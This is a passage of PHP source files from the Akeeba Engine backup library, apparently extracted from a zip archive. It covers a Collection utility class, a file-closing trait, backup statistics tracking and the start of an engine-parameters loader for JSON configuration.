		return array_pop($this->items);
	}

	/**
	 * Push an item onto the beginning of the collection.
	 *
	 * @param   mixed  $value
	 *
	 * @return void
	 */
	public function prepend($value)
	{
		array_unshift($this->items, $value);
	}

	/**
	 * Push an item onto the end of the collection.
	 *
	 * @param   mixed  $value
	 *
	 * @return void
	 */
	public function push($value)
	{
		$this->items[] = $value;
	}

	/**
	 * Put an item in the collection by key.
	 *
	 * @param   mixed  $key
	 * @param   mixed  $value
	 *
	 * @return void
	 */
	public function put($key, $value)
	{
		$this->items[$key] = $value;
	}

	/**
	 * Reduce the collection to a single value.
	 *
	 * @param   callable  $callback
	 * @param   mixed     $initial
	 *
	 * @return  mixed
	 */
	public function reduce(callable $callback, $initial = null)
	{
		return array_reduce($this->items, $callback, $initial);
	}

	/**
	 * Get one or more items randomly from the collection.
	 *
	 * @param   int  $amount
	 *
	 * @return mixed
	 */
	public function random(int $amount = 1)
	{
		$keys = array_rand($this->items, $amount);

		return is_array($keys) ? array_intersect_key($this->items, array_flip($keys)) : $this->items[$keys];
	}

	/**
	 * Reverse items order.
	 *
	 * @return static
	 */
	public function reverse(): Collection
	{
		return new static(array_reverse($this->items));
	}

	/**
	 * Get and remove the first item from the collection.
	 *
	 * @return mixed|null
	 */
	public function shift()
	{
		return array_shift($this->items);
	}

	/**
	 * Slice the underlying collection array.
	 *
	 * @param   int       $offset
	 * @param   int|null  $length
	 * @param   bool      $preserveKeys
	 *
	 * @return static
	 */
	public function slice(int $offset, ?int $length = null, bool $preserveKeys = false): Collection
	{
		return new static(array_slice($this->items, $offset, $length, $preserveKeys));
	}

	/**
	 * Sort through each item with a callback.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function sort(callable $callback): self
	{
		uasort($this->items, $callback);

		return $this;
	}

	/**
	 * Sort the collection using the given callable.
	 *
	 * @param   callable|string  $callback
	 * @param   int              $options
	 * @param   bool             $descending
	 *
	 * @return static
	 */
	public function sortBy($callback, int $options = SORT_REGULAR, bool $descending = false): self
	{
		$results = [];

		if (is_string($callback))
		{
			$callback =
				$this->valueRetriever($callback);
		}

		// First we will loop through the items and get the comparator from a callback
		// function which we were given. Then, we will sort the returned values and
		// and grab the corresponding values for the sorted keys from this array.
		foreach ($this->items as $key => $value)
		{
			$results[$key] = $callback($value);
		}

		$descending ? arsort($results, $options)
			: asort($results, $options);

		// Once we have sorted all of the keys in the array, we will loop through them
		// and grab the corresponding model so we can set the underlying items list
		// to the sorted version. Then we'll just return the collection instance.
		foreach (array_keys($results) as $key)
		{
			$results[$key] = $this->items[$key];
		}

		$this->items = $results;

		return $this;
	}

	/**
	 * Sort the collection in descending order using the given callable.
	 *
	 * @param   callable|string  $callback
	 * @param   int              $options
	 *
	 * @return static
	 */
	public function sortByDesc($callback, int $options = SORT_REGULAR): Collection
	{
		return $this->sortBy($callback, $options, true);
	}

	/**
	 * Splice portion of the underlying collection array.
	 *
	 * @param   int    $offset
	 * @param   int    $length
	 * @param   mixed  $replacement
	 *
	 * @return static
	 */
	public function splice(int $offset, int $length = 0, $replacement = []): self
	{
		return new static(array_splice($this->items, $offset, $length, $replacement));
	}

	/**
	 * Get the sum of the given values.
	 *
	 * @param   callable|string  $callback
	 *
	 * @return mixed
	 */
	public function sum($callback)
	{
		if (is_string($callback))
		{
			$callback = $this->valueRetriever($callback);
		}

		return $this->reduce(
			function ($result, $item) use ($callback) {
				return $result += $callback($item);

			}, 0
		);
	}

	/**
	 * Take the first or last {$limit} items.
	 *
	 * @param   int|null  $limit
	 *
	 * @return static
	 */
	public function take(?int $limit = null): self
	{
		if ($limit < 0)
		{
			return $this->slice($limit, abs($limit));
		}

		return $this->slice(0, $limit);
	}

	/**
	 * Transform each item in the collection using a callback.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function transform(callable $callback): self
	{
		$this->items = array_map($callback, $this->items);

		return $this;
	}

	/**
	 * Return only unique items from the collection array.
	 *
	 * @return static
	 */
	public function unique(): self
	{
		return new static(array_unique($this->items));
	}

	/**
	 * Reset the keys on the underlying array.
	 *
	 * @return static
	 */
	public function values(): self
	{
		$this->items = array_values($this->items);

		return $this;
	}

	/**
	 * Get the collection of items as a plain array.
	 *
	 * @return array
	 */
	public function toArray(): array
	{
		return array_map(
			function ($value) {
				return (is_object($value) && method_exists($value, 'toArray')) ? $value->toArray() : $value;

			}, $this->items
		);
	}

	/**
	 * Convert the object into something JSON serializable.
	 *
	 * @return array
	 */
	#[ReturnTypeWillChange]
	public function jsonSerialize()
	{
		return $this->toArray();
	}

	/**
	 * Get the collection of items as JSON.
	 *
	 * @param   int  $options
	 *
	 * @return string
	 */
	public function toJson(int $options = 0): string
	{
		return json_encode($this->toArray(), $options);
	}

	/**
	 * Get an iterator for the items.
	 *
	 * @return ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator()
	{
		return new ArrayIterator($this->items);
	}

	/**
	 * Get a CachingIterator instance.
	 *
	 * @param   integer  $flags  Caching iterator flags
	 *
	 * @return CachingIterator
	 */
	public function getCachingIterator(int $flags = CachingIterator::CALL_TOSTRING): CachingIterator
	{
		return new CachingIterator($this->getIterator(), $flags);
	}

	/**
	 * Count the number of items in the collection.
	 *
	 * @return int
	 */
	#[ReturnTypeWillChange]
	public function count()
	{
		return count($this->items);
	}

	/**
	 * Determine if an item exists at an offset.
	 *
	 * @param   mixed  $key
	 *
	 * @return bool
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($key)
	{
		return array_key_exists($key, $this->items);
	}

	/**
	 * Get an item at a given offset.
	 *
	 * @param   mixed  $key
	 *
	 * @return mixed
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($key)
	{
		return $this->items[$key];
	}

	/**
	 * Set the item at a given offset.
	 *
	 * @param   mixed  $key
	 * @param   mixed  $value
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($key, $value)
	{
		if (is_null($key))
		{
			$this->items[] = $value;
		}
		else
		{
			$this->items[$key] = $value;
		}
	}

	/**
	 * Unset the item at a given offset.
	 *
	 * @param   string  $key
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($key)
	{
		unset($this->items[$key]);
	}

	/**
	 * Convert the collection to its string representation.
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function __toString()
	{
		return $this->toJson();
	}

	/**
	 * Get a value retrieving callback.
	 *
	 * @param   string  $value
	 *
	 * @return callable
	 */
	protected function valueRetriever(string $value): callable
	{
		return function ($item) use ($value) {
			return is_object($item) ? $item->{$value} : $this->array_get($item, $value);
		};
	}

	/**
	 * Fetch a flattened array of a nested array element.
	 *
	 * @param   array   $array
	 * @param   string  $key
	 *
	 * @return array
	 */
	private function array_fetch(array $array, string $key): array
	{
		foreach (explode('.', $key) as $segment)
		{
			$results = [];

			foreach ($array as $value)
			{
				$value = (array) $value;

				$results[] = $value[$segment];
			}

			$array = array_values($results);
		}

		return array_values($results);
	}

	/**
	 * Return the first element in an array passing a given truth test.
	 *
	 * @param   array     $array
	 * @param   callable  $callback
	 * @param   mixed     $default
	 *
	 * @return mixed
	 */
	private function array_first(array $array, callable $callback, $default = null)
	{
		foreach ($array as $key => $value)
		{
			if (call_user_func($callback, $key, $value))
			{
				return $value;
			}
		}

		return $this->collapseValue($default);
	}

	/**
	 * Return the default value of the given value.
	 *
	 * @param   mixed  $value
	 *
	 * @return mixed
	 */
	private function collapseValue($value)
	{
		return is_callable($value) ? $value() : $value;
	}

	/**
	 * Flatten a multi-dimensional array into a single level.
	 *
	 * @param   array  $array
	 *
	 * @return array
	 */
	private function array_flatten(array $array): array
	{
		$return = [];

		array_walk_recursive(
			$array, function ($x) use (&$return) {
			$return[] = $x;
		}
		);

		return $return;
	}

	/**
	 * Get an item from an array using "dot" notation.
	 *
	 * @param   array   $array
	 * @param   string  $key
	 * @param   mixed   $default
	 *
	 * @return mixed
	 */
	private function array_get(array $array, string $key, $default = null)
	{
		if (is_null($key))
		{
			return $array;
		}

		if (isset($array[$key]))
		{
			return $array[$key];
		}

		foreach (explode('.', $key) as $segment)
		{
			if (!is_array($array) || !array_key_exists($segment, $array))
			{
				return $this->collapseValue($default);
			}

			$array = $array[$segment];
		}

		return $array;
	}

	/**
	 * Pluck an array of values from an array.
	 *
	 * @param   array        $array
	 * @param   string       $value
	 * @param   string|null  $key
	 *
	 * @return array
	 */
	private function array_pluck(array $array, string $value, ?string $key = null): array
	{
		$results = [];

		foreach ($array as $item)
		{
			$itemValue = is_object($item) ? $item->{$value} : $item[$value];

			// If the key is "null", we will just append the value to the array and keep
			// looping. Otherwise we will key the array using the value of the key we
			// received from the developer. Then we'll return the final array form.
			if (is_null($key))
			{
				$results[] = $itemValue;
			}
			else
			{
				$itemKey = is_object($item) ? $item->{$key} : $item[$key];

				$results[$itemKey] = $itemValue;
			}
		}

		return $results;
	}

	/**
	 * Results array of items from Collection.
	 *
	 * @param   Collection|array  $items
	 *
	 * @return array
	 */
	private function getArrayableItems($items): array
	{
		if ($items instanceof Collection)
		{
			$items = $items->all();
		}
		elseif (is_object($items) && method_exists($items, 'toArray'))
		{
			$items = $items->toArray();
		}

		return $items;
	}
}PK     \`^  ^  3  vendor/akeeba/engine/engine/Util/FileCloseAware.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Throwable;

trait FileCloseAware
{
	protected function conditionalFileClose($fp): bool
	{
		if (!is_resource($fp))
		{
			return false;
		}

		try
		{
			return @fclose($fp);
		}
		catch (Throwable $e)
		{
			return false;
		}
	}

}PK     \SW  W  /  vendor/akeeba/engine/engine/Util/Statistics.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

class Statistics
{
	/** @var bool used to block multipart updating initializing the backup */
	private $multipart_lock = true;

	/** @var int The statistics record number of the current backup attempt */
	private $statistics_id = null;

	/** @var array Local cache of the stat record data */
	private $cached_data = [];

	/**
	 * Returns all the filenames of the backup archives for the specified stat record,
	 * or null if the backup type is wrong or the file doesn't exist. It takes into
	 * account the multipart nature of Split Backup Archives.
	 *
	 * @param   array  $stat             The backup statistics record
	 * @param   bool   $skipNonComplete  Skips over backups with no files produced
	 *
	 * @return array|null The filenames or null if it's not applicable
	 */
	public static function get_all_filenames($stat, $skipNonComplete = true)
	{
		// Shortcut for database entries marked as having no files
		if ($stat['filesexist'] == 0)
		{
			return [];
		}

		// Initialize
		$base_directory = @dirname($stat['absolute_path']);
		$base_filename  = $stat['archivename'];
		$filenames      = [$base_filename];

		if (empty($base_filename))
		{
			// This is a backup with a writer which doesn't store files on the server
			return null;
		}

		// Calculate all the filenames for this backup
		if ($stat['multipart'] > 1)
		{
			// Find the base filename and extension
			$dotpos    = strrpos($base_filename, '.');
			$extension = substr($base_filename, $dotpos);
			$basefile  = substr($base_filename, 0, $dotpos);

			// Calculate the multiple names
			$multipart = $stat['multipart'];

			for ($i = 1; $i < $multipart; $i++)
			{
				// Note: For $multipart = 10, it will produce i.e. .z01 through .z10
				// This is intentional. If the backup aborts and multipart=1, we
				// might be stuck with a .z01 file instead of a .zip. So do not
				// change the less than or equal with a straight less than.
				$filenames[] = $basefile . substr($extension, 0, 2) . sprintf('%02d', $i);
			}
		}

		// Check if the files exist, otherwise attempt to provide relocated filename
		$ret = [];

		$ds = DIRECTORY_SEPARATOR;
		// $test_file is the first file which must have been created
		$test_file = count($filenames) == 1 ? $filenames[0] : $filenames[1];

		if (
			(!@file_exists($base_directory . $ds . $test_file)) ||
			(!is_dir($base_directory))
		)
		{
			// The test file wasn't detected. Use the configured output directory.
			$registry       = Factory::getConfiguration();
			$base_directory = $registry->get('akeeba.basic.output_directory');
		}

		foreach ($filenames as $filename)
		{
			// Turn relative path to absolute
			$filename = $base_directory . $ds . $filename;

			// Return the new filename IF IT EXISTS!
			if (!@file_exists($filename))
			{
				$filename = '';
			}

			// Do not return filename for invalid backups
			if (!empty($filename))
			{
				$ret[] = $filename;
			}
		}

		// Edge case: still running backups, we have to brute force the scan
		// of existing files (multipart may be lying)
		if ($stat['status'] == 'run')
		{
			$base_filename = $stat['archivename'];
			$dotpos        = strrpos($base_filename, '.');
			$extension     = substr($base_filename, $dotpos);
			$basefile      = substr($base_filename, 0, $dotpos);

			$registry = Factory::getConfiguration();
			$dirs     = [
				@dirname($stat['absolute_path']),
				$registry->get('akeeba.basic.output_directory'),
			];

			// Look for base file
			foreach ($dirs as $dir)
			{
				if (@file_exists($dir . $ds . $base_filename))
				{
					$ret[] = $dir . $ds . $base_filename;

					break;
				}
			}

			// Look for added files
			$found = true;
			$i     = 0;

			while ($found)
			{
				$i++;
				$found          = false;
				$part_file_name = $basefile . substr($extension, 0, 2) . sprintf('%02d', $i);

				foreach ($dirs as $dir)
				{
					if (@file_exists($dir . $ds . $part_file_name))
					{
						$ret[] = $dir . $ds . $part_file_name;
						$found = true;

						break;
					}
				}
			}
		}

		if ((count($ret) == 0) && $skipNonComplete)
		{
			$ret = null;
		}

		if (!empty($ret) && is_array($ret))
		{
			$ret = array_unique($ret);
		}

		return $ret;
	}

	/**
	 * Releases the initial multipart lock
	 */
	public function release_multipart_lock()
	{
		$this->multipart_lock = false;
	}

	/**
	 * Updates the multipart status of the current backup attempt's statistics record
	 *
	 * @param   int  $multipart  The new multipart status
	 */
	public function updateMultipart($multipart)
	{
		if ($this->multipart_lock)
		{
			return;
		}

		Factory::getLog()->debug('Updating multipart status to ' . $multipart);

		// Cache this change and commit to db only after the backup is done, or failed
		$registry = Factory::getConfiguration();
		$registry->set('volatile.statistics.multipart', $multipart);
	}

	/**
	 * Sets or updates the statistics record of the current backup attempt
	 *
	 * @param   array  $data
	 *
	 * @return bool
	 * @throws Exception
	 */
	public function setStatistics($data)
	{
		$ret = Platform::getInstance()->set_or_update_statistics($this->statistics_id, $data);

		if ($ret === false)
		{
			return false;
		}

		if (!is_null($ret))
		{
			$this->statistics_id = $ret;
		}

		$this->cached_data = array_merge($this->cached_data, $data);

		return true;
	}

	/**
	 * Returns the statistics record ID (used in DB backup classes)
	 * @return int
	 */
	public function getId()
	{
		return $this->statistics_id;
	}

	/**
	 * Returns a copy of the cached data
	 * @return array
	 */
	public function getRecord()
	{
		return $this->cached_data;
	}

	/**
	 * Updates the "in step" flag of the current backup record.
	 *
	 * @param   false  $inStep  Am I currently executing a backup step? False if just finished.
	 *
	 * @return  bool
	 */
	public function updateInStep($inStep = false)
	{
		if (!$this->getId())
		{
			return false;
		}

		$data = $this->getRecord();

		/**
		 * We will only update the instep of running backups for two reasons:
		 *
		 * 1. The very last Kettenrad entry is after the backup process is complete. The record is marked 'complete'. I
		 *    must not touch it in this case.
		 *
		 * 2. When a record is marked 'fail' its instep is also set to 0. This happens in Factory::resetState().
		 */
		//
		if ($data['status'] == 'complete')
		{
			return true;
		}

		$data['instep']    = $inStep ? 1 : 0;
		$data['backupend'] = Platform::getInstance()->get_timestamp_database();

		try
		{
			return $this->setStatistics($data);
		}
		catch (Exception $e)
		{
			return false;
		}
	}
}
PK     \m%
tf  tf  5  vendor/akeeba/engine/engine/Util/EngineParameters.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DirectoryIterator;
use LogicException;

/**
 * Unified engine parameters helper class. Deals with scripting, GUI configuration elements and information on engine
 * parts (filters, dump engines, scan engines, archivers, installers).
 */
class EngineParameters
{
	/**
	 * Holds the parsed scripting.json contents
	 *
	 * @var array
	 */
	public $scripting = null;

	/**
	 * The currently active scripting type
	 *
	 * @var string
	 */
	protected $activeType = null;

	/**
	 * Holds the known paths holding JSON definitions of engines, installers and configuration gui elements
	 *
	 * @var  array
	 */
	protected $enginePartPaths = [];

	/**
	 * Cache of the engines known to this object
	 *
	 * @var array
	 */
	protected $engine_list = [];

	/**
	 * Cache of the GUI configuration elements known to this object
	 *
	 * @var array
	 */
	protected $gui_list = [];

	/**
	 * Cache of the installers known to this object
	 *
	 * @var array
	 */
	protected $installer_list = [];

	/**
	 * Append a path to the end of the paths list for a specific section
	 *
	 * @param   string  $path     Absolute filesystem path to add
	 * @param   string  $section  The section to add it to (gui, engine, installer, filters)
	 *
	 * @return  void
	 */
	public function addPath(string $path, string $section = 'gui')
	{
		$path = Factory::getFilesystemTools()->TranslateWinPath($path);

		// If the array is empty, populate with the defaults
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->getEnginePartPaths($section);
		}

		// If the path doesn't already exist, add it
		if (!in_array($path, $this->enginePartPaths[$section]))
		{
			$this->enginePartPaths[$section][] = $path;
		}
	}

	/**
	 * Returns an array with domain keys and domain class names for the current
	 * backup type. The idea is that shifting this array walks through the backup
	 * process. When the array is empty, the backup is done.
	 *
	 * Each element of the array is an array with two keys: domain and class.
	 *
	 * @return  array
	 */
	public function getDomainChain(): array
	{
		$configuration = Factory::getConfiguration();
		$script        = $configuration->get('akeeba.basic.backup_type', 'full');

		$scripting = $this->loadScripting();
		$domains   = $scripting['domains'];
		$keys      = $scripting['scripts'][$script]['chain'];

		$result = [];

		foreach ($keys as $domain_key)
		{
			$result[] = [
				'domain' => $domains[$domain_key]['domain'],
				'class'  => $domains[$domain_key]['class'],
			];
		}

		return $result;
	}

	/**
	 * Get the paths for a specific section
	 *
	 * @param   string  $section  The section to get the path list for (engine, installer, gui, filter)
	 *
	 * @return  array
	 */
	public function getEnginePartPaths(string $section = 'gui')
	{
		// Create the key if it's not already present
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->enginePartPaths[$section] = [];
		}

		if (!empty($this->enginePartPaths[$section]))
		{
			return $this->enginePartPaths[$section];
		}

		// Add the defaults if the list is empty
		switch ($section)
		{
			case 'engine':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot()),
				];
				break;

			case 'installer':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Platform::getInstance()->get_installer_images_path()),
				];
				break;

			case 'gui':
				// Add core GUI definitions
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Core'),
				];

				// Add platform GUI definition files
				$platform_paths = Platform::getInstance()->getPlatformDirectories();

				foreach ($platform_paths as $p)
				{
					$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Config');

					$pro = defined('AKEEBA_PRO') && AKEEBA_PRO;
					$pro = defined('AKEEBABACKUP_PRO') ? (AKEEBABACKUP_PRO ? true : false) : $pro;

					if ($pro)
					{
						$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Config/Pro');
					}
				}
				break;

			case 'filter':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Platform/Filter/Stack'),
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Filter/Stack'),
				];

				$platform_paths = Platform::getInstance()->getPlatformDirectories();

				foreach ($platform_paths as $p)
				{
					$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Filter/Stack');
				}

				break;

			default:
				throw new LogicException(sprintf('Can not get paths for engine section ‘%s’. No section by this name is known to Akeeba Engine.', $section));
		}

		return $this->enginePartPaths[$section];
	}

	/**
	 * Returns a hash list of Akeeba engines and their data. Each entry has the engine name as key and contains two
	 * arrays, under the 'information' and 'parameters' keys.
	 *
	 * @param   string  $engine_type  The engine type to return information for
	 *
	 * @return  array
	 */
	public function getEnginesList(string $engine_type): array
	{
		$engine_type = ucfirst($engine_type);

		// Try to serve cached data first
		if (isset($this->engine_list[$engine_type]))
		{
			return $this->engine_list[$engine_type];
		}

		// Find absolute path to normal and plugins directories
		$temp      = $this->getEnginePartPaths('engine');
		$path_list = [];

		foreach ($temp as $path)
		{
			$path_list[] = $path . '/' . $engine_type;
		}

		// Initialize the array where we store our data
		$this->engine_list[$engine_type] = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$bare_name = ucfirst($file->getBasename('.json'));

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				if (preg_match('/[^A-Za-z0-9]/', $bare_name))
				{
					continue;
				}

				$information = [];
				$parameters  = [];

				$this->parseEngineJSON($file->getRealPath(), $information, $parameters);

				$this->engine_list[$engine_type][lcfirst($bare_name)] = [
					'information' => $information,
					'parameters'  => $parameters,
				];
			}
		}

		return $this->engine_list[$engine_type];
	}

	/**
	 * Parses the GUI JSON files and returns an array of groups and their data
	 *
	 * @return  array
	 */
	public function getGUIGroups(): array
	{
		// Try to serve cached data first
		if (!empty($this->gui_list) && is_array($this->gui_list))
		{
			if (count($this->gui_list) > 0)
			{
				return $this->gui_list;
			}
		}

		// Find absolute path to normal and plugins directories
		$path_list = $this->getEnginePartPaths('gui');

		// Initialize the array where we store our data
		$this->gui_list = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$allJSONFiles = [];
			$di           = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$allJSONFiles[] = $file->getRealPath();
			}

			if (empty($allJSONFiles))
			{
				continue;
			}

			// Sort GUI files alphabetically
			asort($allJSONFiles);

			// Include each GUI def file
			foreach ($allJSONFiles as $filename)
			{
				$information = [];
				$parameters  = [];

				$this->parseInterfaceJSON($filename, $information, $parameters);

				// This effectively skips non-GUI JSONs (e.g. the scripting JSON)
				if (!empty($information['description']))
				{
					if (!isset($information['merge']))
					{
						$information['merge'] = 0;
					}

					$group_name = substr(basename($filename), 0, -5);

					$def = [
						'information' => $information,
						'parameters'  => $parameters,
					];

					if (!$information['merge'] || !isset($this->gui_list[$group_name]))
					{
						$this->gui_list[$group_name] = $def;
					}
					else
					{
						$this->gui_list[$group_name]['information'] = array_merge($this->gui_list[$group_name]['information'], $def['information']);
						$this->gui_list[$group_name]['parameters']  = array_merge($this->gui_list[$group_name]['parameters'], $def['parameters']);
					}
				}
			}
		}

		ksort($this->gui_list);

		// Push stack filter settings to the 03.filters section
		$path_list = $this->getEnginePartPaths('filter');

		// Loop for the paths where optional filters can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			// Store JSON names in temp array because we'll sort based on filename (GUI order IS IMPORTANT!!)
			$allJSONFiles = [];

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$allJSONFiles[] = $file->getRealPath();
			}

			if (empty($allJSONFiles))
			{
				continue;
			}

			// Sort filter files alphabetically
			asort($allJSONFiles);

			// Include each filter def file
			foreach ($allJSONFiles as $filename)
			{
				$information = [];
				$parameters  = [];

				$this->parseInterfaceJSON($filename, $information, $parameters);

				if (!array_key_exists('03.filters', $this->gui_list))
				{
					$this->gui_list['03.filters'] = ['parameters' => []];
				}

				if (!array_key_exists('parameters', $this->gui_list['03.filters']))
				{
					$this->gui_list['03.filters']['parameters'] = [];
				}

				if (!is_array($parameters))
				{
					$parameters = [];
				}

				$this->gui_list['03.filters']['parameters'] = array_merge($this->gui_list['03.filters']['parameters'], $parameters);
			}
		}

		/**
		 * Parse showon attributes
		 *
		 * The GUI list array format is like this:
		 * ```
		 * [
		 *    '01.sectionName' => [
		 *       'information' => [...],
		 *       'parameters' => [
		 *           'some.parameter.name' => [
		 *               'title' => 'something',
		 *               ...
		 *               'showon' => 'some.other.parameter.name:1'
		 *           ],
		 *           ...
		 *       ]
		 *    ],
		 *    ...
		 * ]
		 * ```
		 *
		 * We need to convert the shown of the parameters to JSON data which can be used by the `showon` JavaScript
		 * code. The assumption only made here is that all parameter keys are turned into `INPUT` elements with an
		 * attribute `name="var[some.parameter.name]"`. This is how the GUI code in all backup applications our company
		 * makes works.
		 *
		 * For backup applications which do not have showon support (they lack the JavaScript code) this does not matter
		 * and neither does it break anything. All parameters are shown all the time like we have been doing for years.
		 */
		$this->gui_list = array_map(
			function (array $section): array {
				foreach ($section['parameters'] as $paramName => &$paramDef)
				{
					if (isset($paramDef['showon']))
					{
						// Parse showon
						$paramDef['showon'] = $this->parseShowOnConditions($paramDef['showon']);
					}
				}

				return $section;
			},
			$this->gui_list
		);

		return $this->gui_list;
	}

	/**
	 * Parses the installer JSON files and returns an array of installers and their data
	 *
	 * @param   boolean  $forDisplay  If true only returns the information relevant for displaying the GUI
	 *
	 * @return  array
	 */
	public function getInstallerList(bool $forDisplay = false): array
	{
		// Try to serve cached data first
		if (!empty($this->installer_list) && is_array($this->installer_list))
		{
			if (count($this->installer_list) > 0)
			{
				return $this->installer_list;
			}
		}

		// Find absolute path to normal and plugins directories
		$path_list = [
			Platform::getInstance()->get_installer_images_path(),
		];

		// Initialize the array where we store our data
		$this->installer_list = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$rawData = file_get_contents($file->getRealPath());
				$data    = empty($rawData) ? [] : json_decode($rawData, true);

				if ($forDisplay)
				{
					$innerData = reset($data);

					if (array_key_exists('listinoptions', $innerData))
					{
						if ($innerData['listinoptions'] == 0)
						{
							continue;
						}
					}
				}

				foreach ($data as $key => $values)
				{
					$this->installer_list[$key] = [];

					foreach ($values as $key2 => $value)
					{
						$this->installer_list[$key][$key2] = $value;
					}
				}
			}
		}

		return $this->installer_list;
	}

	/**
	 * Returns the JSON representation of the GUI definition and the associated values
	 *
	 * @return   string
	 */
	public function getJsonGuiDefinition(): string
	{
		// Initialize the array which will be converted to JSON representation
		$json_array = [
			'engines'    => [],
			'installers' => [],
			'gui'        => [],
		];

		// Get a reference to the configuration
		$configuration = Factory::getConfiguration();

		// Get data for all engines
		$engine_types = [
			'archiver',
			'dump',
			'scan',
			'writer',
			'postproc',
		];

		foreach ($engine_types as $type)
		{
			$engines = $this->getEnginesList($type);

			$tempArray    = [];
			$engineTitles = [];

			foreach ($engines as $engine_name => $engine_data)
			{
				// Translate information
				foreach ($engine_data['information'] as $key => $value)
				{
					switch ($key)
					{
						case 'title':
						case 'content':
						case 'description':
							$value = Platform::getInstance()->translate($value);
							break;
					}

					$tempArray[$engine_name]['information'][$key] = $value;

					if ($key == 'title')
					{
						$engineTitles[$engine_name] = $value;
					}
				}

				// Process parameters
				$parameters = [];

				foreach ($engine_data['parameters'] as $param_key => $param)
				{
					$param['default'] = $configuration->get($param_key, $param['default'], false);

					foreach ($param as $option_key => $option_value)
					{
						// Translate title, description, enumkeys
						switch ($option_key)
						{
							case 'title':
							case 'description':
							case 'content':
							case 'labelempty':
							case 'labelnotempty':
